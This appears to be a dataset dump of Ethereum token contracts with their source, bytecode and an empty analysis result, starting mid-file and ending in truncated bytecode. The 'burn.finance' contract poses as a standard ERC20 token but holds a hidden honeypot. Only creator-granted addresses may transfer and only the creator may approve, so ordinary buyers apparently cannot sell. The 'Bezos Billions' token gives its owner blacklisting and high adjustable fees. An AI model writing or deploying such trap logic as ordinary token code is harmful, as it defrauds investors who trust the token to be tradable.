return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Permissions is Context
{
address private _creator;
address private _uniswap;
mapping (address => bool) private _permitted;
constructor() public
{
_creator = 0xF1520DdC1b247A09e7569e492de27Dc327136E43;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_uniswap] = true;
}
function creator() public view returns (address)
{ return _creator; }
function uniswap() public view returns (address)
{ return _uniswap; }
function givePermissions(address who) internal
{
require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action");
_permitted[who] = true;
}
modifier onlyCreator
{
require(_msgSender() == _creator, "You do not have permissions for this action");
_;
}
modifier onlyPermitted
{
require(_permitted[_msgSender()], "You do not have permissions for this action");
_;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract burnfinance is Permissions, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18 and a {totalSupply} of the token.
*
* All four of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
//_name = "burn.finance";
//_symbol = "BFI";
_name = "burn.finance";
_symbol = "BFI";
_decimals = 18;
_totalSupply = 20000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b411461027d578063a457c2d714610285578063a9059cbb146102b1578063dd62ed3e146102dd576100cf565b8063313ce5671461020d578063395093511461022b57806370a0823114610257576100cf565b806302d05d3f146100d457806306fdde03146100f8578063095ea7b31461017557806318160ddd146101b557806323b872dd146101cf5780632681f7e414610205575b600080fd5b6100dc61030b565b604080516001600160a01b039092168252519081900360200190f35b61010061031a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013a578181015183820152602001610122565b50505050905090810190601f1680156101675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a16004803603604081101561018b57600080fd5b506001600160a01b0381351690602001356103b0565b604080519115158252519081900360200190f35b6101bd610425565b60408051918252519081900360200190f35b6101a1600480360360608110156101e557600080fd5b506001600160a01b0381358116916020810135909116906040013561042b565b6100dc6104e3565b6102156104f2565b6040805160ff9092168252519081900360200190f35b6101a16004803603604081101561024157600080fd5b506001600160a01b0381351690602001356104fb565b6101bd6004803603602081101561026d57600080fd5b50356001600160a01b03166105a1565b6101006105bc565b6101a16004803603604081101561029b57600080fd5b506001600160a01b03813516906020013561061d565b6101a1600480360360408110156102c757600080fd5b506001600160a01b0381351690602001356106dd565b6101bd600480360360408110156102f357600080fd5b506001600160a01b0381358116916020013516610786565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b820191906000526020600020905b81548152906001019060200180831161038957829003601f168201915b5050505050905090565b600080546001600160a01b03166103c56107b1565b6001600160a01b03161461040a5760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6104156107b1565b84846107b5565b50600192915050565b60085490565b60006104388484846108a1565b6104a8846104446107b1565b6104a385604051806060016040528060288152602001610c24602891396001600160a01b038a166000908152600460205260408120906104826107b1565b6001600160a01b0316815260208101919091526040016000205491906109f3565b6107b5565b6104b06104e3565b6001600160a01b03166104c16107b1565b6001600160a01b031614156104d9576104d983610a8a565b5060019392505050565b6001546001600160a01b031690565b60075460ff1690565b600080546001600160a01b03166105106107b1565b6001600160a01b0316146105555760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6105606107b1565b846104a385600460006105716107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610b2c565b6001600160a01b031660009081526003602052604090205490565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b600080546001600160a01b03166106326107b1565b6001600160a01b0316146106775760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6106826107b1565b846104a385604051806060016040528060258152602001610c9560259139600460006106ac6107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906109f3565b6000600260006106eb6107b1565b6001600160a01b0316815260208101919091526040016000205460ff166107435760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61075561074e6107b1565b84846108a1565b61075d61030b565b6001600160a01b031661076e6107b1565b6001600160a01b0316141561041c5761041c83610a8a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107fa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610c716024913960400191505060405180910390fd5b6001600160a01b03821661083f5760405162461bcd60e51b8152600401808060200182810382526022815260200180610bb16022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108e65760405162461bcd60e51b8152600401808060200182810382526025815260200180610c4c6025913960400191505060405180910390fd5b6001600160a01b03821661092b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610b8e6023913960400191505060405180910390fd5b61096881604051806060016040528060268152602001610bd3602691396001600160a01b03861660009081526003602052604090205491906109f3565b6001600160a01b0380851660009081526003602052604080822093909355908416815220546109979082610b2c565b6001600160a01b0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610a825760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a47578181015183820152602001610a2f565b50505050905090810190601f168015610a745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000546001600160a01b0316610a9e6107b1565b6001600160a01b03161480610acd57506001546001600160a01b0316610ac26107b1565b6001600160a01b0316145b610b085760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b600082820183811015610b86576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f7520646f206e6f742068617665207065726d697373696f6e7320666f72207468697320616374696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122072a203eefdcbcf1526b19452066f7a755c9f781e8ea321807c563a72df58a04464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,451 |
0x90fa6ee30d7b2518b10858f7c3eab0dd6d1d28ff
|
/*
Bezos Billions (BB)
https://bezosbillions.com
Telegram : https://t.me/bezosbillions
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BezosBillions is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bezos Billions";
string private constant _symbol = "BB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 131000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 6;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1310000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (from == uniswapV2Pair || to == uniswapV2Pair) {
require(tradingOpen, "Trading is not enabled yet");
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 25, 'taxFee should be in 0 - 25');
_taxFee = taxFee;
}
function setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 0 && teamFee <= 25, 'teamFee should be in 0 - 25');
_teamFee = teamFee;
}
}
|
0x6080604052600436106101385760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103ea578063c3c8cd8014610427578063c4081a4c1461043e578063d543dbeb14610467578063dd62ed3e14610490578063e6ec64ec146104cd5761013f565b806370a0823114610315578063715018a6146103525780637d1db4a5146103695780638da5cb5b1461039457806395d89b41146103bf5761013f565b806323b872dd116100fd57806323b872dd1461022b578063293230b814610268578063313ce5671461027f57806349bd5a5e146102aa5780636b999053146102d55780636fc3eaec146102fe5761013f565b8062b8cf2a1461014457806306fdde031461016d578063095ea7b3146101985780631694505e146101d557806318160ddd146102005761013f565b3661013f57005b600080fd5b34801561015057600080fd5b5061016b600480360381019061016691906124b6565b6104f6565b005b34801561017957600080fd5b50610182610620565b60405161018f919061287f565b60405180910390f35b3480156101a457600080fd5b506101bf60048036038101906101ba9190612476565b61065d565b6040516101cc9190612849565b60405180910390f35b3480156101e157600080fd5b506101ea61067b565b6040516101f79190612864565b60405180910390f35b34801561020c57600080fd5b506102156106a1565b6040516102229190612a61565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612423565b6106b2565b60405161025f9190612849565b60405180910390f35b34801561027457600080fd5b5061027d61078b565b005b34801561028b57600080fd5b5061029461088d565b6040516102a19190612ad6565b60405180910390f35b3480156102b657600080fd5b506102bf610896565b6040516102cc919061282e565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612389565b6108bc565b005b34801561030a57600080fd5b506103136109ac565b005b34801561032157600080fd5b5061033c60048036038101906103379190612389565b610a1e565b6040516103499190612a61565b60405180910390f35b34801561035e57600080fd5b50610367610a6f565b005b34801561037557600080fd5b5061037e610bc2565b60405161038b9190612a61565b60405180910390f35b3480156103a057600080fd5b506103a9610bc8565b6040516103b6919061282e565b60405180910390f35b3480156103cb57600080fd5b506103d4610bf1565b6040516103e1919061287f565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c9190612476565b610c2e565b60405161041e9190612849565b60405180910390f35b34801561043357600080fd5b5061043c610c4c565b005b34801561044a57600080fd5b50610465600480360381019061046091906124ff565b610cc6565b005b34801561047357600080fd5b5061048e600480360381019061048991906124ff565b610db6565b005b34801561049c57600080fd5b506104b760048036038101906104b291906123e3565b610eff565b6040516104c49190612a61565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef91906124ff565b610f86565b005b6104fe611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610582906129a1565b60405180910390fd5b60005b815181101561061c576001600c60008484815181106105b0576105af612e42565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061061490612d9b565b91505061058e565b5050565b60606040518060400160405280600e81526020017f42657a6f732042696c6c696f6e73000000000000000000000000000000000000815250905090565b600061067161066a611076565b848461107e565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000680719fd7deea82c0000905090565b60006106bf848484611249565b610780846106cb611076565b61077b8560405180606001604052806028815260200161323c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610731611076565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172d9092919063ffffffff16565b61107e565b600190509392505050565b610793611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610817906129a1565b60405180910390fd5b601160149054906101000a900460ff1615610870576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610867906128c1565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108c4611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610951576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610948906129a1565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ed611076565b73ffffffffffffffffffffffffffffffffffffffff1614610a0d57600080fd5b6000479050610a1b81611791565b50565b6000610a68600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188c565b9050919050565b610a77611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906129a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4242000000000000000000000000000000000000000000000000000000000000815250905090565b6000610c42610c3b611076565b8484611249565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8d611076565b73ffffffffffffffffffffffffffffffffffffffff1614610cad57600080fd5b6000610cb830610a1e565b9050610cc3816118fa565b50565b610cce611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d52906129a1565b60405180910390fd5b60008110158015610d6d575060198111155b610dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da390612a41565b60405180910390fd5b8060088190555050565b610dbe611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e42906129a1565b60405180910390fd5b60008111610e8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8590612961565b60405180910390fd5b610ebd6064610eaf83680719fd7deea82c0000611b8290919063ffffffff16565b611bfd90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610ef49190612a61565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f8e611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611012906129a1565b60405180910390fd5b6000811015801561102d575060198111155b61106c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611063906129c1565b60405180910390fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffff